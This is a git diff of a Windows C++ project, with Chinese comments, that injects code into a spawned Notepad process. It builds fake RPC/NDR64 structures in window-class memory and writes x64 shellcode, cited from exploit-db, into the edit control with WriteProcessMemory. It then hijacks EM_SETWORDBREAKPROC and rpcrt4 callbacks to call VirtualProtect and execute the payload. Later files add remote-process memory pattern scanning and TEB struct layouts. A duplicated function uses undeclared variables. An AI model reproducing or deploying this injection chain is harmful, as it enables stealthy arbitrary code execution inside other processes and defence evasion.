*(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress; + +#define REMOTE_CLS_ADDRESS(x) \ + ((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \ + (ULONG_PTR)TheNotepadTagClsAddress) + + // NdrServerCallAll(pRpcMsg) + // pRpcMsg = Shellcode + RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode; + RPC_SERVER_INTERFACE* RpcInterfaceInfo0 = + (RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88); + MIDL_SERVER_INFO* RpcSrvInfo0 = + (MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE)); + PVOID* DispatchTable0 = + (PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO)); + MIDL_SYNTAX_INFO* SyntaxInfo0 = + (MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID)); + MIDL_STUB_DESC* StubDesc0 = + (MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2); + ULONG_PTR* FmtStrOffset0 = + (ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC)); + NDR64_PROC_FORMAT* ProcStr0 = + (NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 + + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + + sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR)); + + //_NDR_PROC_CONTEXT Ndr+Proc + DispatchTable0[0] = (PVOID)theNdrServerCallAllAddress; + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0); + + FmtStrOffset0[0] = (ULONG_PTR)REMOTE_CLS_ADDRESS(ProcStr0); + (SyntaxInfo0 + 1)->FmtStringOffset = + (USHORT*)REMOTE_CLS_ADDRESS(FmtStrOffset0); + RpcSrvInfo0->pSyntaxInfo = + (MIDL_SYNTAX_INFO*)REMOTE_CLS_ADDRESS(SyntaxInfo0); + RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_CLS_ADDRESS(StubDesc0); + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0); + // RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337; + RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA; + + + RpcInterfaceInfo0->InterpreterInfo = + (MIDL_SERVER_INFO*)REMOTE_CLS_ADDRESS(RpcSrvInfo0); + RpcMsg0->RpcInterfaceInformation = + (RPC_SERVER_INTERFACE*)REMOTE_CLS_ADDRESS(RpcInterfaceInfo0); + RpcMsg0->ProcNum = 0; + RpcMsg0->RpcFlags = 0x1000; + + // rpcmsg0->Handle的handle已经在上面设置为TheNotepadTagClsAddress了.所以要在TheNotepadTagClsAddress + // + 0x100的位置设置virtualprotect + *(ULONG_PTR*)(tmpShellcode + 0x100) = + (ULONG_PTR)VirtualProtect; // 为了通过Ndr64pServerUnMarshal最后的那一段 + //*(ULONG_PTR*)(tmpShellcode + 0x160) = (ULONG_PTR)tempVar; + ////为了通过Ndr64pServerUnMarshal最后的那一段 + + + auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) + + sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT); + // auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset); + //*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr; + // calcOffset += sizeof(ULONG_PTR); + + /* + * https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152 + if ( pParamFlags->IsIn || + (pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) || + pParamFlags->IsPipe ) + continue; + */ + std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress; + // type的指针,这个type会读两次 **typeaddr + auto fnSetNdr64Param = [&]() { + static auto currentCopyCount = 0; + auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset); + ndr64Param->Attributes.IsIn = true; + ndr64Param->Attributes.IsBasetype = true; + // auto typeAddress = tmpShellcode + calcOffset; + // theParamTypeAddress.push_back(typeAddress); + // ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + ndr64Param->StackOffset = currentCopyCount * 4; + currentCopyCount += 1; + // 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值 + // https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43 + //*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + // calcOffset += sizeof(_NDR64_PARAM_FORMAT); + theParamTypeAddress.push_back(ndr64Param); + calcOffset += sizeof(_NDR64_PARAM_FORMAT); + }; + + const auto virtualProtectParamSize = 8 * 4; + for (size_t i = 0; i < virtualProtectParamSize / 4; i++) { + fnSetNdr64Param(); + } + auto paramsBuffer = tmpShellcode + calcOffset; + // 设置参数 + RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer); + RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数 + calcOffset += RpcMsg0->BufferLength; + + // Make HandleType to 0 + ProcStr0->Flags = 1; + ProcStr0->StackSize = virtualProtectParamSize; + ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4; + + // https://www.exploit-db.com/shellcodes/49819 + // 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面 + unsigned char payload[] = + "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b" + "\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" + "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08" + "\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" + "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24" + "\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" + "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6" + "\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" + "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96" + "\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" + "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e" + "\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" + "\x48\x83\xec\x20\x41\xff\xd6"; + // const auto shellcodeAddress = tmpShellcode + calcOffset; + // memcpy(shellcodeAddress, payload, sizeof(payload)); + // calcOffset += sizeof(payload); + + // typedef LONG(NTAPI* FnNtUserMessageCall)(HWND hWnd, UINT msg, WPARAM + // wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); + // FnNtUserMessageCall NtUserMessageCall = + // (FnNtUserMessageCall)GetProcAddress(LoadLibrary(L"win32u.dll"), + // "NtUserMessageCall"); + // + // 执行payload + // 1.给回调设置参数为我们的payload + // SendMessageA才生效,不知道为什么,否则会报60 + auto result1 = + SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)&TheNotepadTagClsAddress); + // auto result1 = NtUserMessageCall(hwndEdit, WM_SETTEXT, 0, + // (LPARAM)&TheNotepadTagClsAddress, 0, 0x2B1, 1); + // 等完全输入完毕 + WaitForInputIdle(pi.hProcess, INFINITE); + result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0); + + // ***这里有个限制 除非我是英文系统 否则会被格式为Utf-8导致不能用** + // 我直接writememory让那个地方看起来像是英文系统 + auto emh = (PVOID)SendMessage(hwndEdit, EM_GETHANDLE, 0, 0); + PVOID embuf; + SIZE_T numOfWrite; + ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite); + WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8, + &numOfWrite); + WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload, + sizeof(payload), &numOfWrite); + const auto shellcodeAddress = (uint64_t)embuf + 8; + const auto virtualProtectReturnValue = shellcodeAddress + sizeof(payload); + const auto editShellcodeLocation = shellcodeAddress + sizeof(payload) + sizeof(uint64_t); + /* + _In_ LPVOID lpAddress, + _In_ SIZE_T dwSize, + _In_ DWORD flNewProtect, + _Out_ PDWORD lpflOldProtect + */ + auto tempCover = (uint64_t)TheNotepadTagClsAddress; + memcpy(paramsBuffer, &tempCover, 8); + + tempCover = (uint64_t)sizeof(payload); + memcpy(paramsBuffer + 8, &tempCover, 8); + + tempCover = (uint64_t)PAGE_EXECUTE_READWRITE; + memcpy(paramsBuffer + 8 + 8, &tempCover, 8); + // 这个地方是readonly的,如果直接传给virtualprotect会失败.所以也得放在编辑框里面 + /* + auto oldProtectAddress = (uint64_t)REMOTE_CLS_ADDRESS(tmpShellcode + + calcOffset); tempCover = (uint64_t)tmpShellcode + calcOffset; + memcpy(paramsBuffer + 8 + 8 + 8, &oldProtectAddress, 8); + calcOffset += sizeof(uint64_t); + *(uint64_t*)tempCover = (uint64_t)REMOTE_CLS_ADDRESS((uint64_t)(tmpShellcode + + calcOffset)); calcOffset += sizeof(uint64_t); + */ + memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8); + calcOffset += sizeof(uint64_t); + + for (auto ndr64Param : theParamTypeAddress) { + auto typeAddress = tmpShellcode + calcOffset; + ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + calcOffset += sizeof(void*); + + *(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + calcOffset += sizeof(char); + } + for (size_t i = 0; i < allocShellcodeSize; i++) { + NtUserSetClassLong(hwndMessage, i, tmpShellcode[i], FALSE); + } + + // 2.设置I_RpcFreePipeBuffer为回调地址 + // bp rpcrt4!I_RpcFreePipeBuffer + result1 = PostMessageA(hwndEdit, EM_SETWORDBREAKPROC, 0, + (LPARAM)theI_RpcFreePipeBufferAddr); + + // 3. 激活 + result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0); + // 4. cleanup + SendMessage(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL); + + // SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)INJPATH); + // SendMessageW(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)embuf.p); + return 0; +} +void buildEditShellCode(char* tmpShellcode, uint64_t editShellcodeLocation, uint64_t theNdrServerCallAllAddress) { + + //第二个shellcode在编辑框里面,负责call virtualprotect + *(ULONG_PTR*)tmpShellcode = (ULONG_PTR)editShellcodeLocation; + + // *Message->Handle + 0x80 = NdrServerCallAll + *(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress; + +#define REMOTE_EDIT_ADDRESS(x) \ + ((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \ + (ULONG_PTR)editShellcodeLocation) + RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode; + RPC_SERVER_INTERFACE* RpcInterfaceInfo0 = + (RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88); + MIDL_SERVER_INFO* RpcSrvInfo0 = + (MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE)); + PVOID* DispatchTable0 = + (PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO)); + MIDL_SYNTAX_INFO* SyntaxInfo0 = + (MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID)); + MIDL_STUB_DESC* StubDesc0 = + (MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2); + ULONG_PTR* FmtStrOffset0 = + (ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC)); + NDR64_PROC_FORMAT* ProcStr0 = + (NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 + + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + + sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR)); + + //_NDR_PROC_CONTEXT Ndr+Proc + DispatchTable0[0] = (PVOID)VirtualProtect; + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0); + + FmtStrOffset0[0] = (ULONG_PTR)REMOTE_EDIT_ADDRESS(ProcStr0); + (SyntaxInfo0 + 1)->FmtStringOffset = + (USHORT*)REMOTE_EDIT_ADDRESS(FmtStrOffset0); + RpcSrvInfo0->pSyntaxInfo = + (MIDL_SYNTAX_INFO*)REMOTE_EDIT_ADDRESS(SyntaxInfo0); + RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_EDIT_ADDRESS(StubDesc0); + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0); + // RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337; + RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA; + + + + RpcInterfaceInfo0->InterpreterInfo = + (MIDL_SERVER_INFO*)REMOTE_EDIT_ADDRESS(RpcSrvInfo0); + RpcMsg0->RpcInterfaceInformation = + (RPC_SERVER_INTERFACE*)REMOTE_EDIT_ADDRESS(RpcInterfaceInfo0); + RpcMsg0->ProcNum = 0; + RpcMsg0->RpcFlags = 0x1000; + + *(ULONG_PTR*)(tmpShellcode + 0x100) = + (ULONG_PTR)VirtualProtect; + + + + auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) + + sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT); + // auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset); + //*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr; + // calcOffset += sizeof(ULONG_PTR); + + /* + * https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152 + if ( pParamFlags->IsIn || + (pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) || + pParamFlags->IsPipe ) + continue; + */ + std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress; + // type的指针,这个type会读两次 **typeaddr + auto fnSetNdr64Param = [&]() { + static auto currentCopyCount = 0; + auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset); + ndr64Param->Attributes.IsIn = true; + ndr64Param->Attributes.IsBasetype = true; + // auto typeAddress = tmpShellcode + calcOffset; + // theParamTypeAddress.push_back(typeAddress); + // ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + ndr64Param->StackOffset = currentCopyCount * 4; + currentCopyCount += 1; + // 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值 + // https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43 + //*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + // calcOffset += sizeof(_NDR64_PARAM_FORMAT); + theParamTypeAddress.push_back(ndr64Param); + calcOffset += sizeof(_NDR64_PARAM_FORMAT); + }; + + const auto virtualProtectParamSize = 8 * 4; + for (size_t i = 0; i < virtualProtectParamSize / 4; i++) { + fnSetNdr64Param(); + } + auto paramsBuffer = tmpShellcode + calcOffset; + // 设置参数 + RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer); + RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数 + calcOffset += RpcMsg0->BufferLength; + + // Make HandleType to 0 + ProcStr0->Flags = 1; + ProcStr0->StackSize = virtualProtectParamSize; + ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4; + + // https://www.exploit-db.com/shellcodes/49819 + // 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面 + unsigned char payload[] = + "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b" + "\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" + "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08" + "\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" + "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24" + "\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" + "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6" + "\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" + "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96" + "\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" + "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e" + "\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" + "\x48\x83\xec\x20\x41\xff\xd6"; + + PVOID embuf; + SIZE_T numOfWrite; + ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite); + WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8, + &numOfWrite); + WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload, + sizeof(payload), &numOfWrite); + const auto shellcodeAddress = (uint64_t)embuf + 8; + const auto virtualProtectReturnValue = shellcodeAddress + sizeof(payload); + const auto editShellcodeLocation = shellcodeAddress + sizeof(payload) + sizeof(uint64_t); + + auto tempCover = (uint64_t)TheNotepadTagClsAddress; + memcpy(paramsBuffer, &tempCover, 8); + + tempCover = (uint64_t)sizeof(payload); + memcpy(paramsBuffer + 8, &tempCover, 8); + + tempCover = (uint64_t)PAGE_EXECUTE_READWRITE; + memcpy(paramsBuffer + 8 + 8, &tempCover, 8); + + memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8); + calcOffset += sizeof(uint64_t); + + for (auto ndr64Param : theParamTypeAddress) { + auto typeAddress = tmpShellcode + calcOffset; + ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + calcOffset += sizeof(void*); + + *(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + calcOffset += sizeof(char); + } +} +int main() { wWinMain(0, 0, 0, 0); } diff --git a/small.ico b/small.ico new file mode 100644 index 0000000..b3ec03b Binary files /dev/null and b/small.ico differ diff --git a/sunday.cpp b/sunday.cpp new file mode 100644 index 0000000..c123f35 --- /dev/null +++ b/sunday.cpp @@ -0,0 +1,79 @@ +#include "framework.h" +#include +#include +#include +#define INRANGE(x,a,b) (x >= a && x <= b) +#define getBits( x ) (INRANGE((x&(~0x20)),'A','F') ? ((x&(~0x20)) - 'A' + 0xa) : (INRANGE(x,'0','9') ? x - '0' : 0)) +#define getByte( x ) (getBits(x[0]) << 4 | getBits(x[1])) + +PVOID +SundaySearch_ByProcess( + HANDLE ProcesHandle, + char* pattern, + PVOID address, + SIZE_T readSize +) { + size_t patLen = strlen(pattern); + + patLen = (patLen + 1) / 3; + if (readSize < patLen) + return NULL; + + auto dataVec = std::vector(); + dataVec.resize(readSize); + SIZE_T bytesRead; + SIZE_T TotalSize = readSize; + SIZE_T CurOffset = 0; + while (TotalSize) + { + ULONG64 ReadSize = min(0x1000, TotalSize); + bytesRead = 0; + auto ret = ReadProcessMemory(ProcesHandle, + (void*)((uint64_t)address + CurOffset), + (PVOID)((uint64_t)dataVec.data() + CurOffset), ReadSize, &bytesRead); + TotalSize -= bytesRead; + CurOffset += bytesRead; + if (ret != true) break; + if (bytesRead == 0) break; + } + + size_t i = 0; + while (i < readSize) + { + size_t j = 0; + + UCHAR c1 = 0; + UCHAR c2 = 0; + + while (j < patLen && + i + j < readSize && + (*(pattern + j * 3) == '\?' || + (c1 = dataVec[i + j]) == (c2 = getByte((pattern + j * 3))))) + { + j++; + } + + if (j == patLen) + { + return (PVOID)((DWORD_PTR)address + i); + } + else + { + LONGLONG k = (LONGLONG)j; + if (i + patLen < readSize) + { + for (k = (LONGLONG)(patLen - 1); k >= 0; k--) + { + c1 = getByte((pattern + k * 3)); + c2 = dataVec[i + patLen]; + + if (*(pattern + k * 3) == '\?' || c1 == c2) + break; + } + } + i += (size_t)(patLen - k); + } + } + + return NULL; +} \ No newline at end of file diff --git a/targetver.h b/targetver.h new file mode 100644 index 0000000..a186354 --- /dev/null +++ b/targetver.h @@ -0,0 +1,6 @@ +#pragma once + +// // 包含 SDKDDKVer.h 可定义可用的最高版本的 Windows 平台。 +// 如果希望为之前的 Windows 平台构建应用程序,在包含 SDKDDKVer.h 之前请先包含 WinSDKVer.h 并 +// 将 _WIN32_WINNT 宏设置为想要支持的平台。 +#include diff --git a/teb_def.h b/teb_def.h new file mode 100644 index 0000000..5fc38be --- /dev/null +++ b/teb_def.h @@ -0,0 +1,261 @@ +#pragma once +#include +typedef struct _STRING32 { + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef struct _STRING64 { + USHORT Length; + USHORT MaximumLength; + ULONGLONG Buffer; +} STRING64; +// 0x8 bytes (sizeof) +struct _CLIENT_ID32 { + ULONG UniqueProcess; // 0x0 + ULONG UniqueThread; // 0x4 +}; +// 0x10 bytes (sizeof) +struct _CLIENT_ID64 { + ULONGLONG UniqueProcess; // 0x0 + ULONGLONG UniqueThread; // 0x8 +}; +// 0x4e0 bytes (sizeof) +struct _GDI_TEB_BATCH32 { + ULONG Offset; // 0x0 + ULONG HDC; // 0x4 + ULONG Buffer[310]; // 0x8 +}; +// 0x4e8 bytes (sizeof) +struct _GDI_TEB_BATCH64 { + ULONG Offset; // 0x0 + ULONGLONG HDC; // 0x8 + ULONG Buffer[310]; // 0x10 +}; +// 0xfe4 bytes (sizeof) +typedef struct _TEB32 { + struct _NT_TIB32 NtTib; // 0x0 + ULONG EnvironmentPointer; // 0x1c + struct _CLIENT_ID32 ClientId; // 0x20 + ULONG ActiveRpcHandle; // 0x28 + ULONG ThreadLocalStoragePointer; // 0x2c + ULONG ProcessEnvironmentBlock; // 0x30 + ULONG LastErrorValue; // 0x34 + ULONG CountOfOwnedCriticalSections; // 0x38 + ULONG CsrClientThread; // 0x3c + ULONG Win32ThreadInfo; // 0x40 + ULONG User32Reserved[26]; // 0x44 + ULONG UserReserved[5]; // 0xac + ULONG WOW32Reserved; // 0xc0 + ULONG CurrentLocale; // 0xc4 + ULONG FpSoftwareStatusRegister; // 0xc8 + ULONG SystemReserved1[54]; // 0xcc + LONG ExceptionCode; // 0x1a4 + ULONG ActivationContextStackPointer; // 0x1a8 + UCHAR SpareBytes[36]; // 0x1ac + ULONG TxFsContext; // 0x1d0 + struct _GDI_TEB_BATCH32 GdiTebBatch; // 0x1d4 + struct _CLIENT_ID32 RealClientId; // 0x6b4 + ULONG GdiCachedProcessHandle; // 0x6bc + ULONG GdiClientPID; // 0x6c0 + ULONG GdiClientTID; // 0x6c4 + ULONG GdiThreadLocalInfo; // 0x6c8 + ULONG Win32ClientInfo[62]; // 0x6cc + ULONG glDispatchTable[233]; // 0x7c4 + ULONG glReserved1[29]; // 0xb68 + ULONG glReserved2; // 0xbdc + ULONG glSectionInfo; // 0xbe0 + ULONG glSection; // 0xbe4 + ULONG glTable; // 0xbe8 + ULONG glCurrentRC; // 0xbec + ULONG glContext; // 0xbf0 + ULONG LastStatusValue; // 0xbf4 + struct _STRING32 StaticUnicodeString; // 0xbf8 + WCHAR StaticUnicodeBuffer[261]; // 0xc00 + ULONG DeallocationStack; // 0xe0c + ULONG TlsSlots[64]; // 0xe10 + struct LIST_ENTRY32 TlsLinks; // 0xf10 + ULONG Vdm; // 0xf18 + ULONG ReservedForNtRpc; // 0xf1c + ULONG DbgSsReserved[2]; // 0xf20 + ULONG HardErrorMode; // 0xf28 + ULONG Instrumentation[9]; // 0xf2c + struct _GUID ActivityId; // 0xf50 + ULONG SubProcessTag; // 0xf60 + ULONG EtwLocalData; // 0xf64 + ULONG EtwTraceData; // 0xf68 + ULONG WinSockData; // 0xf6c + ULONG GdiBatchCount; // 0xf70 + union { + struct _PROCESSOR_NUMBER CurrentIdealProcessor; // 0xf74 + ULONG IdealProcessorValue; // 0xf74 + struct { + UCHAR ReservedPad0; // 0xf74 + UCHAR ReservedPad1; // 0xf75 + UCHAR ReservedPad2; // 0xf76 + UCHAR IdealProcessor; // 0xf77 + }; + }; + ULONG GuaranteedStackBytes; // 0xf78 + ULONG ReservedForPerf; // 0xf7c + ULONG ReservedForOle; // 0xf80 + ULONG WaitingOnLoaderLock; // 0xf84 + ULONG SavedPriorityState; // 0xf88 + ULONG SoftPatchPtr1; // 0xf8c + ULONG ThreadPoolData; // 0xf90 + ULONG TlsExpansionSlots; // 0xf94 + ULONG MuiGeneration; // 0xf98 + ULONG IsImpersonating; // 0xf9c + ULONG NlsCache; // 0xfa0 + ULONG pShimData; // 0xfa4 + ULONG HeapVirtualAffinity; // 0xfa8 + ULONG CurrentTransactionHandle; // 0xfac + ULONG ActiveFrame; // 0xfb0 + ULONG FlsData; // 0xfb4 + ULONG PreferredLanguages; // 0xfb8 + ULONG UserPrefLanguages; // 0xfbc + ULONG MergedPrefLanguages; // 0xfc0 + ULONG MuiImpersonation; // 0xfc4 + union { + volatile USHORT CrossTebFlags; // 0xfc8 + USHORT SpareCrossTebBits : 16; // 0xfc8 + }; + union { + USHORT SameTebFlags; // 0xfca + struct { + USHORT SafeThunkCall : 1; // 0xfca + USHORT InDebugPrint : 1; // 0xfca + USHORT HasFiberData : 1; // 0xfca + USHORT SkipThreadAttach : 1; // 0xfca + USHORT WerInShipAssertCode : 1; // 0xfca + USHORT RanProcessInit : 1; // 0xfca + USHORT ClonedThread : 1; // 0xfca + USHORT SuppressDebugMsg : 1; // 0xfca + USHORT DisableUserStackWalk : 1; // 0xfca + USHORT RtlExceptionAttached : 1; // 0xfca + USHORT InitialThread : 1; // 0xfca + USHORT SpareSameTebBits : 5; // 0xfca + }SameTebFlagStruct; + }; + ULONG TxnScopeEnterCallback; // 0xfcc + ULONG TxnScopeExitCallback; // 0xfd0 + ULONG TxnScopeContext; // 0xfd4 + ULONG LockCount; // 0xfd8 + ULONG SpareUlong0; // 0xfdc + ULONG ResourceRetValue; // 0xfe0 +}TEB32; + +// 0x1818 bytes (sizeof) +typedef struct _TEB64 { + struct _NT_TIB64 NtTib; // 0x0 + ULONGLONG EnvironmentPointer; // 0x38 + struct _CLIENT_ID64 ClientId; // 0x40 + ULONGLONG ActiveRpcHandle; // 0x50 + ULONGLONG ThreadLocalStoragePointer; // 0x58 + ULONGLONG ProcessEnvironmentBlock; // 0x60 + ULONG LastErrorValue; // 0x68 + ULONG CountOfOwnedCriticalSections; // 0x6c + ULONGLONG CsrClientThread; // 0x70 + ULONGLONG Win32ThreadInfo; // 0x78 + ULONG User32Reserved[26]; // 0x80 + ULONG UserReserved[5]; // 0xe8 + ULONGLONG WOW32Reserved; 